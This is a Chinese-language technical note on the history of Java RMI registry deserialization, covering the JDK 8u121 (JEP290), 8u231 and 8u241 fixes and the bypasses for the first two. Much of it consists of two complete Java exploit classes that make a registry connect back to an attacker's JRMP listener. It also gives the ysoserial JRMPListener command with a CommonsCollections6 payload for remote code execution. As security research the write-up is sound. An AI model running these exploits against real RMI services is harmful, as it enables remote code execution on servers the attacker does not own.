参考:

https://halfblue.github.io/2021/11/03/RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8B%E4%B8%89%E9%A1%BE%E8%8C%85%E5%BA%90-JEP290%E7%BB%95%E8%BF%87/

前言

以下的修复全部都是针对前述攻击手法中的lookup bind 攻击注册中心,因为这个相比于其他更容易利用:只要开放了服务即可被利用。method hash那个利用条件是知道远程接口的参数类型且类型不为基础类型;服务端攻击客户端场景不常见。

第一次修复(JEP290)与绕过

修复

JDK8u121

1、checkAccess,要求注册中心和服务端都在一台机上。

2、在RegistryImpl_Skel中配置了白名单,也就是说lookup和bind传过去的对象只能是白名单里的。

handleMessages
serviceCall
UnicastServerRef#dispatch
oldDispatch
RegistryImpl_Skel#dispatch //客户端/服务端攻击注册中心
case 0: // bind(String, Remote)
case 1: // list()
case 2: // lookup(String)
//白名单添加在这里
in.readObject(); // 对lookup的参数进行反序列化。客户端攻击服务端
case 3: // rebind(String, Remote)
case 4: // unbind(String)

3、DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验,内容如下:

return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;

绕过

绕过的调用栈

Reigstry_Skel#dispatch
// 1. readObject
UnicastRef#readExternal
LiveRef#read
ConnectionInputStream#saveRef
//修改incomingRefTable,使之不为空
// 2.releaseInputStream
StreamRemoteCall#releaseInputStream //有个if,需要incomingRefTable不为空才能进入
ConnectionInputStream#registerRefs
DGCClient#registerRefs
DGCClient$EndPointEntry#lookup
DGCClient$EndPointEntry 构造函数
RenewCleanThread#run
makeDirtyCall
DGCImpl_Stub#dirty
readObject

监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 calc

exp

public class JRMPRegistryExploit {
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
lookup(registry);
}

public static void lookup(RegistryImpl_Stub registry) throws Exception {

Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

var3.writeObject(genEvilJRMPObj());
ref.invoke(var2);

}

private static Object genEvilJRMPObj() {
LiveRef liveRef = new LiveRef(new ObjID(), new TCPEndpoint("127.0.0.1", 7777), false);
UnicastRef unicastRef = new UnicastRef(liveRef);
return unicastRef;
}
}

第二次修复与绕过

JDK8u231

修复

Reigstry_Skel#dispatch
// 第一处修复
// 由于readObject一定会触发异常,所以在catch处清空incomingRefTable,使之为空。
// 1. readObject
UnicastRef#readExternal
LiveRef#read
ConnectionInputStream#saveRef
//修改incomingRefTable,使之不为空
// 2.releaseInputStream
StreamRemoteCall#releaseInputStream //有个if,需要incomingRefTable不为空才能进入
ConnectionInputStream#registerRefs
DGCClient#registerRefs
DGCClient$EndPointEntry#lookup
DGCClient$EndPointEntry 构造函数
RenewCleanThread#run
makeDirtyCall
DGCImpl_Stub#dirty
//第二处修复
//在这里添加了过滤,多了一个setObjectInputFilter,使得readObject受限
readObject

绕过

而如果想实现攻击,要满足几个条件:
1、找到一处不受限制的反序列化
2、白名单类可以通过反序列化触发上述不受限的反序列化
3、触发点就在readObject中

调用栈

Reigstry_Skel#dispatch
UnicastRemoteObject#readObject
reexport
...
TCPTransport#listen
TCPEndPoint#newServerSocket
RemoteObjectInvocationHandler#invoke
RemoteObjectInvocationHandler#invokeRemoteMethod
UnicastRef#invoke
executeCall
//发送JRMP请求,然后对返回结果readObject

exp

public class UnicastRemoteObjectExploit {
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
exploit(registry,"127.0.0.1",7777);

}

private static void exploit(RegistryImpl_Stub registry,String host,int port) throws Exception {

UnicastRemoteObject unicastRemoteObject = getObj(host,port);
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" );
f.setAccessible( true );
f.set( var3, false );

var3.writeObject(unicastRemoteObject);
ref.invoke(var2);
}

private static UnicastRemoteObject getObj(String host,int port) throws Exception{
LiveRef liveRef = new LiveRef(new ObjID(7777), new TCPEndpoint(host,port), false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler
);

Constructor RemoteObjectConstructor = RemoteObject.class.getDeclaredConstructor(RemoteRef.class);
RemoteObjectConstructor.setAccessible(true);
Constructor<?> unicastRemoteObjectConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(UnicastRemoteObject.class, RemoteObjectConstructor);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) unicastRemoteObjectConstructor.newInstance(new UnicastRef(liveRef));

Field ssfField = unicastRemoteObject.getClass().getDeclaredField("ssf");
ssfField.setAccessible(true);
ssfField.set(unicastRemoteObject,rmiServerSocketFactory);
return unicastRemoteObject;
}
}

监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 calc

最后修复

JDK8u241

Reigstry_Skel#dispatch
// 第一处,这个位置的readObject变成readString
UnicastRemoteObject#readObject
reexport
...
TCPTransport#listen
TCPEndPoint#newServerSocket
RemoteObjectInvocationHandler#invoke
RemoteObjectInvocationHandler#invokeRemoteMethod
// 第二处
UnicastRef#invoke
executeCall
//发送JRMP请求,然后对返回结果readObject
unmarshalValue
//第三处,当调用方法参数类型为String时,由原本的readObject变为readString
readObject

第二处修复在RemoteObjectInvocationHandler#invokeRemoteMethod中多加了一个if。

image-20240225202011466.png

此时攻击服务端的唯一手段就是知道远程接口的参数类型,且类型不为基础类型和String。